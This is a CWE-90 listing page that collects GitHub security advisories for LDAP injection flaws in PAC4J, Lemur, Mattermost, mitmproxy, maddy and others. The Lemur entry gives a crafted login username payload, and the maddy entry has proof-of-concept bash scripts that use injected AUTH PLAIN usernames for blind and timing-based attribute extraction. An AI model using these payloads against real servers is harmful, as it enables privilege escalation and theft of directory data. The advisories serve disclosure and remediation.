CWE-90
AllowedImproper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
114 vulnerabilities reference this CWE, most recent first.
GHSA-3JRJ-7493-FGQ2
Vulnerability from github – Published: 2026-04-17 15:31 – Updated: 2026-04-20 15:31PAC4J is vulnerable to LDAP Injection in multiple methods. A low-privileged remote attacker can inject crafted LDAP syntax into ID-based search parameters, potentially resulting in unauthorized LDAP queries and arbitrary directory operations.
This issue was fixed in PAC4J versions 4.5.10, 5.7.10 and 6.4.1
{
"affected": [],
"aliases": [
"CVE-2026-40459"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-17T14:16:34Z",
"severity": "HIGH"
},
"details": "PAC4J is vulnerable to LDAP Injection in multiple methods. A low-privileged remote attacker can inject crafted LDAP syntax into ID-based search parameters, potentially resulting in unauthorized LDAP queries and arbitrary directory operations.\n\nThis issue was fixed in PAC4J versions 4.5.10, 5.7.10 and 6.4.1",
"id": "GHSA-3jrj-7493-fgq2",
"modified": "2026-04-20T15:31:52Z",
"published": "2026-04-17T15:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40459"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/04/CVE-2026-40458"
},
{
"type": "WEB",
"url": "https://www.pac4j.org/blog/security-advisory-pac4j-core-and-ldap.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3R34-VQ8M-39GH
Vulnerability from github – Published: 2026-05-06 19:16 – Updated: 2026-05-13 16:41Description
Overview
Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator.
Vulnerable Code
Location: lemur/auth/ldap.py, _bind() method
Filter 1 — User lookup (line ~161):
ldap_filter = "userPrincipalName=%s" % self.ldap_principal
self.ldap_principal is derived directly from args["username"] submitted at POST /auth/login with no sanitization. The ldap.filter.escape_filter_chars() function is never called.
Filter 2 — Active Directory group lookup (line ~189):
groupfilter = "(&(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))".format(userdn)
The userdn value is derived from the LDAP response to the first unsanitized query, making it potentially tainted as well.
Impact
An authenticated LDAP user can:
- Inject LDAP filter syntax into the username field during login
- Manipulate the group membership query to return arbitrary groups
- Be assigned the
adminrole or any other privileged role in Lemur - Gain unauthorized access to all certificates, private keys (via
/certificates/<id>/key), and CA configurations - Issue certificates under any authority
Exploitation Constraint
The simple_bind_s() call must succeed before the injectable filter is reached, so the attacker requires valid LDAP credentials. This is a post-authentication privilege escalation.
Steps to Reproduce
- Deploy Lemur with LDAP authentication enabled:
python LDAP_AUTH = True LDAP_IS_ACTIVE_DIRECTORY = True LDAP_BIND_URI = "ldaps://dc.corp.example.com" LDAP_BASE_DN = "DC=corp,DC=example,DC=com" LDAP_EMAIL_DOMAIN = "corp.example.com" - Create a valid LDAP user account
- Send login request with crafted username containing LDAP metacharacters: ``` POST /auth/login Content-Type: application/json
{
"username": "validuser)(memberOf=CN=LemurAdmins,DC=corp,DC=example,DC=com",
"password": "validpassword"
}
4. The LDAP filter becomes:
userPrincipalName=validuser)(memberOf=CN=LemurAdmins,DC=corp,DC=example,DC=com@corp.example.com
```
5. Depending on the LDAP server's parsing, this can alter query semantics
6. The user is assigned roles they should not have access to
Remediation
Apply ldap.filter.escape_filter_chars() to all user-controlled values before interpolation:
from ldap.filter import escape_filter_chars
# Fix 1: User lookup filter
ldap_filter = "userPrincipalName=%s" % escape_filter_chars(self.ldap_principal)
# Fix 2: Active Directory group filter
groupfilter = "(&(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))".format(
escape_filter_chars(userdn)
)
Resources
- CWE-90: https://cwe.mitre.org/data/definitions/90.html
- OWASP LDAP Injection: https://owasp.org/www-community/attacks/LDAP_Injection
- Python ldap.filter.escape_filter_chars: https://www.python-ldap.org/en/python-ldap-3.4.0/reference/ldap-filter.html
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44304"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T19:16:59Z",
"nvd_published_at": "2026-05-12T22:16:37Z",
"severity": "HIGH"
},
"details": "## Description\n\n### Overview\n\nLemur\u0027s LDAP authentication module (`lemur/auth/ldap.py`) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator.\n\n### Vulnerable Code\n\n**Location:** `lemur/auth/ldap.py`, `_bind()` method\n\n**Filter 1 \u2014 User lookup (line ~161):**\n```python\nldap_filter = \"userPrincipalName=%s\" % self.ldap_principal\n```\n\n`self.ldap_principal` is derived directly from `args[\"username\"]` submitted at `POST /auth/login` with no sanitization. The `ldap.filter.escape_filter_chars()` function is never called.\n\n**Filter 2 \u2014 Active Directory group lookup (line ~189):**\n```python\ngroupfilter = \"(\u0026(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))\".format(userdn)\n```\n\nThe `userdn` value is derived from the LDAP response to the first unsanitized query, making it potentially tainted as well.\n\n### Impact\n\nAn authenticated LDAP user can:\n\n1. Inject LDAP filter syntax into the username field during login\n2. Manipulate the group membership query to return arbitrary groups\n3. Be assigned the `admin` role or any other privileged role in Lemur\n4. Gain unauthorized access to all certificates, private keys (via `/certificates/\u003cid\u003e/key`), and CA configurations\n5. Issue certificates under any authority\n\n### Exploitation Constraint\n\nThe `simple_bind_s()` call must succeed before the injectable filter is reached, so the attacker requires valid LDAP credentials. This is a **post-authentication privilege escalation**.\n\n### Steps to Reproduce\n\n1. Deploy Lemur with LDAP authentication enabled:\n ```python\n LDAP_AUTH = True\n LDAP_IS_ACTIVE_DIRECTORY = True\n LDAP_BIND_URI = \"ldaps://dc.corp.example.com\"\n LDAP_BASE_DN = \"DC=corp,DC=example,DC=com\"\n LDAP_EMAIL_DOMAIN = \"corp.example.com\"\n ```\n2. Create a valid LDAP user account\n3. Send login request with crafted username containing LDAP metacharacters:\n ```\n POST /auth/login\n Content-Type: application/json\n\n {\n \"username\": \"validuser)(memberOf=CN=LemurAdmins,DC=corp,DC=example,DC=com\",\n \"password\": \"validpassword\"\n }\n ```\n4. The LDAP filter becomes:\n ```\n userPrincipalName=validuser)(memberOf=CN=LemurAdmins,DC=corp,DC=example,DC=com@corp.example.com\n ```\n5. Depending on the LDAP server\u0027s parsing, this can alter query semantics\n6. The user is assigned roles they should not have access to\n\n### Remediation\n\nApply `ldap.filter.escape_filter_chars()` to all user-controlled values before interpolation:\n\n```python\nfrom ldap.filter import escape_filter_chars\n\n# Fix 1: User lookup filter\nldap_filter = \"userPrincipalName=%s\" % escape_filter_chars(self.ldap_principal)\n\n# Fix 2: Active Directory group filter\ngroupfilter = \"(\u0026(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))\".format(\n escape_filter_chars(userdn)\n)\n```\n\n### Resources\n\n- CWE-90: https://cwe.mitre.org/data/definitions/90.html\n- OWASP LDAP Injection: https://owasp.org/www-community/attacks/LDAP_Injection\n- Python ldap.filter.escape_filter_chars: https://www.python-ldap.org/en/python-ldap-3.4.0/reference/ldap-filter.html",
"id": "GHSA-3r34-vq8m-39gh",
"modified": "2026-05-13T16:41:43Z",
"published": "2026-05-06T19:16:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-3r34-vq8m-39gh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44304"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Lemur: LDAP Filter Injection enables post-authentication privilege escalation"
}
GHSA-44VJ-XC6R-J6M3
Vulnerability from github – Published: 2026-07-07 12:31 – Updated: 2026-07-07 12:31Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in HAVELSAN Inc. Liman MYS allows LDAP Injection.
This issue affects Liman MYS: before release.Master.1107.
{
"affected": [],
"aliases": [
"CVE-2026-13696"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-07T12:16:32Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in HAVELSAN Inc. Liman MYS allows LDAP Injection.\n\nThis issue affects Liman MYS: before release.Master.1107.",
"id": "GHSA-44vj-xc6r-j6m3",
"modified": "2026-07-07T12:31:37Z",
"published": "2026-07-07T12:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13696"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0504"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4GR5-536M-W65F
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:59Cloud Foundry NFS Volume Service, 1.7.x versions prior to 1.7.11 and 2.x versions prior to 2.3.0, is vulnerable to LDAP injection. A remote authenticated malicious space developer can potentially inject LDAP filters via service instance creation, facilitating the malicious space developer to deny service or perform a dictionary attack.
{
"affected": [],
"aliases": [
"CVE-2019-11277"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-90"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-23T18:15:00Z",
"severity": "HIGH"
},
"details": "Cloud Foundry NFS Volume Service, 1.7.x versions prior to 1.7.11 and 2.x versions prior to 2.3.0, is vulnerable to LDAP injection. A remote authenticated malicious space developer can potentially inject LDAP filters via service instance creation, facilitating the malicious space developer to deny service or perform a dictionary attack.",
"id": "GHSA-4gr5-536m-w65f",
"modified": "2024-04-04T01:59:15Z",
"published": "2022-05-24T16:56:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11277"
},
{
"type": "WEB",
"url": "https://www.cloudfoundry.org/blog/cve-2019-11277"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4P4P-22CR-2GQW
Vulnerability from github – Published: 2024-01-08 09:30 – Updated: 2024-01-08 09:30The optional "LDAP contacts provider" could be abused by privileged users to inject LDAP filter strings that allow to access content outside of the intended hierarchy. Unauthorized users could break confidentiality of information in the directory and potentially cause high load on the directory server, leading to denial of service. Encoding has been added for user-provided fragments that are used when constructing the LDAP query. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2023-29050"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-90"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T09:15:20Z",
"severity": "HIGH"
},
"details": "The optional \"LDAP contacts provider\" could be abused by privileged users to inject LDAP filter strings that allow to access content outside of the intended hierarchy. Unauthorized users could break confidentiality of information in the directory and potentially cause high load on the directory server, leading to denial of service. Encoding has been added for user-provided fragments that are used when constructing the LDAP query. No publicly available exploits are known.\n\n",
"id": "GHSA-4p4p-22cr-2gqw",
"modified": "2024-01-08T09:30:35Z",
"published": "2024-01-08T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29050"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/appsuite/security/advisories/csaf/2023/oxas-adv-2023-0005.json"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/security/advisories/csaf/oxas-adv-2023-0005.json"
},
{
"type": "WEB",
"url": "https://software.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patch_Release_6248_7.10.6_2023-09-19.pdf"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176421/OX-App-Suite-7.10.6-XSS-Command-Execution-LDAP-Injection.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jan/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4R67-4X4P-FPRG
Vulnerability from github – Published: 2025-06-11 12:30 – Updated: 2025-06-11 15:44Mattermost versions 10.7.x <= 10.7.1, 10.6.x <= 10.6.3, 10.5.x <= 10.5.4, 9.11.x <= 9.11.13 fail to properly validate LDAP group ID attributes, allowing an authenticated administrator with PermissionSysconsoleWriteUserManagementGroups permission to execute LDAP search filter injection via the PUT /api/v4/ldap/groups/{remote_id}/link API when objectGUID is configured as the Group ID Attribute.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0-20250414112942-77892234944b"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.7.0"
},
{
"fixed": "10.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.6.0"
},
{
"fixed": "10.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.5.0"
},
{
"fixed": "10.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.11.0"
},
{
"fixed": "9.11.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-4573"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-11T15:44:17Z",
"nvd_published_at": "2025-06-11T11:15:23Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 10.7.x \u003c= 10.7.1, 10.6.x \u003c= 10.6.3, 10.5.x \u003c= 10.5.4, 9.11.x \u003c= 9.11.13 fail to properly validate LDAP group ID attributes, allowing an authenticated administrator with PermissionSysconsoleWriteUserManagementGroups permission to execute LDAP search filter injection via the PUT /api/v4/ldap/groups/{remote_id}/link API when objectGUID is configured as the Group ID Attribute.",
"id": "GHSA-4r67-4x4p-fprg",
"modified": "2025-06-11T15:44:17Z",
"published": "2025-06-11T12:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4573"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/1f9c688a30847eeb7bfb1574dc7bbb9f011afbf7"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/64a65c6107877382040297b3ef215c689caaed74"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/77892234944bc7476b20794e516538bcac717de9"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/b33926709b956a59558cc7fef80c0e75a769ce81"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/b47e89c4f98cb6ad9f1dceb79325aa94e80f963a"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mattermost allows authenticated administrator to execute LDAP search filter injection"
}
GHSA-527G-3W9M-29HV
Vulnerability from github – Published: 2026-04-14 01:08 – Updated: 2026-06-06 00:58Impact
In mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication.
Only mitmproxy instances using the proxyauth option with LDAP are affected. This option is not enabled by default.
Patches
The vulnerability has been fixed in mitmproxy 12.2.2 and above.
Acknowledgements
We thank Yue (Knox) Liu (@yueyueL) for responsibly disclosing this vulnerability to the mitmproxy team.
Timeline
- 2025-12-08: Received initial report.
- 2025-12-09: Verified report and confirmed receipt.
- 2026-01-02: Informed researcher that patch will be part of the next regular patch release.
- 2026-04-12: Published patch release and advisory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.2.1"
},
"package": {
"ecosystem": "PyPI",
"name": "mitmproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40606"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T01:08:52Z",
"nvd_published_at": "2026-04-21T18:16:52Z",
"severity": "MODERATE"
},
"details": "### Impact\nIn mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication.\n\nOnly mitmproxy instances using the `proxyauth` option with LDAP are affected. This option is not enabled by default.\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 12.2.2 and above.\n\n### Acknowledgements\n\nWe thank Yue (Knox) Liu (@yueyueL) for responsibly disclosing this vulnerability to the mitmproxy team.\n\n### Timeline\n\n- **2025-12-08**: Received initial report. \n- **2025-12-09**: Verified report and confirmed receipt.\n- **2026-01-02**: Informed researcher that patch will be part of the next regular patch release.\n- **2026-04-12**: Published patch release and advisory.",
"id": "GHSA-527g-3w9m-29hv",
"modified": "2026-06-06T00:58:36Z",
"published": "2026-04-14T01:08:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-527g-3w9m-29hv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40606"
},
{
"type": "PACKAGE",
"url": "https://github.com/mitmproxy/mitmproxy"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mitmproxy/PYSEC-2026-92.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "mitmproxy has an LDAP Injection"
}
GHSA-5835-4GVC-32PC
Vulnerability from github – Published: 2026-04-13 19:22 – Updated: 2026-04-16 21:57Summary
The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.
Patched version
Upgrade to maddy 0.9.3.
Details
Affected file: internal/auth/ldap/ldap.go
Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:
1. Lookup() — line 228 (filter injection)
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
// ...
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
2. AuthPlain() — line 255 (DN template injection)
func (a *Auth) AuthPlain(username, password string) error {
// ...
if a.dnTemplate != "" {
userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING
3. AuthPlain() — line 260 (filter injection)
} else {
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.
No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.
PoC
Prerequisites:
- A maddy instance configured with auth.ldap using a filter directive
- An LDAP directory (e.g., OpenLDAP) with at least one user
- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)
Step 1: Vulnerable maddy configuration
auth.ldap ldap_auth {
urls ldap://ldapserver:389
bind plain "cn=admin,dc=example,dc=org" "adminpassword"
base_dn "ou=people,dc=example,dc=org"
filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}
submission tcp://0.0.0.0:587 {
auth &ldap_auth
# ...
}
Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).
Step 2: Verify normal authentication works
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)
# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded
Step 3: Boolean-based blind LDAP injection (attribute extraction)
An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
# → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.
# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.
For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:
- 0 entries matched (line 270): returns
ErrUnknownCredentialsimmediately — fast - 1 entry matched, bind fails (line 275): performs
conn.Bind()over the network, then returns — slow (adds LDAP bind round-trip latency)
Both return SMTP 535, but the timing difference is measurable:
# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
# → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
# → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)
for c in {a..z} {A..Z} {0..9}; do
INJECTED="alice)(description=${c}*"
AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
START=$(date +%s%N)
echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.
Impact
Who is affected: Any maddy deployment that uses the auth.ldap module with either the filter or dn_template directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.
What an attacker can do:
-
Identity spoofing: An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (
connState.AuthUserin SMTP,usernamepassed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream. -
LDAP directory enumeration: By injecting wildcard filters (
*) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure. -
Attribute value extraction via boolean-based blind injection: An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g.,
bob)(description=X*) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel. -
DN template path traversal: When
dn_templateis used instead offilter(line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.
Credit
Yuheng Zhang, Zihan Zhang, Jianjun Chen and Teatime Lab LTD.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/foxcpp/maddy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40193"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-13T19:22:52Z",
"nvd_published_at": "2026-04-16T00:16:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library\u2014already imported in the same file\u2014provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called.\n\n### Patched version\n\nUpgrade to maddy 0.9.3.\n\n### Details\n\n**Affected file:** `internal/auth/ldap/ldap.go`\n\nThree locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping:\n\n**1. `Lookup()` \u2014 line 228 (filter injection)**\n\n```go\nfunc (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {\n // ...\n req := ldap.NewSearchRequest(\n a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n 2, 0, false,\n strings.ReplaceAll(a.filterTemplate, \"{username}\", username), // \u003c-- NO ESCAPING\n []string{\"dn\"}, nil)\n```\n\n**2. `AuthPlain()` \u2014 line 255 (DN template injection)**\n\n```go\nfunc (a *Auth) AuthPlain(username, password string) error {\n // ...\n if a.dnTemplate != \"\" {\n userDN = strings.ReplaceAll(a.dnTemplate, \"{username}\", username) // \u003c-- NO ESCAPING\n```\n\n**3. `AuthPlain()` \u2014 line 260 (filter injection)**\n\n```go\n } else {\n req := ldap.NewSearchRequest(\n a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n 2, 0, false,\n strings.ReplaceAll(a.filterTemplate, \"{username}\", username), // \u003c-- NO ESCAPING\n []string{\"dn\"}, nil)\n```\n\nThe `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\\`, and NUL per RFC 4515. It is never called on user input.\n\n**No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.**\n\n### PoC\n\n**Prerequisites:**\n- A maddy instance configured with `auth.ldap` using a `filter` directive\n- An LDAP directory (e.g., OpenLDAP) with at least one user\n- Network access to maddy\u0027s SMTP submission port (587) or IMAP port (993/143)\n\n**Step 1: Vulnerable maddy configuration**\n\n```\nauth.ldap ldap_auth {\n urls ldap://ldapserver:389\n bind plain \"cn=admin,dc=example,dc=org\" \"adminpassword\"\n base_dn \"ou=people,dc=example,dc=org\"\n filter \"(\u0026(objectClass=inetOrgPerson)(uid={username}))\"\n}\n\nsubmission tcp://0.0.0.0:587 {\n auth \u0026ldap_auth\n # ...\n}\n```\n\nAssume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`).\n\n**Step 2: Verify normal authentication works**\n\n```bash\n# Encode AUTH PLAIN: \\x00alice\\x00alice_pass\nAUTH_BLOB=$(printf \u0027\\x00alice\\x00alice_pass\u0027 | base64)\n\n# Connect via SMTP submission with STARTTLS\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet \u003c\u003cEOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# Expected: 235 Authentication succeeded\n```\n\n**Step 3: Boolean-based blind LDAP injection (attribute extraction)**\n\nAn attacker who holds valid credentials for any one account can extract that 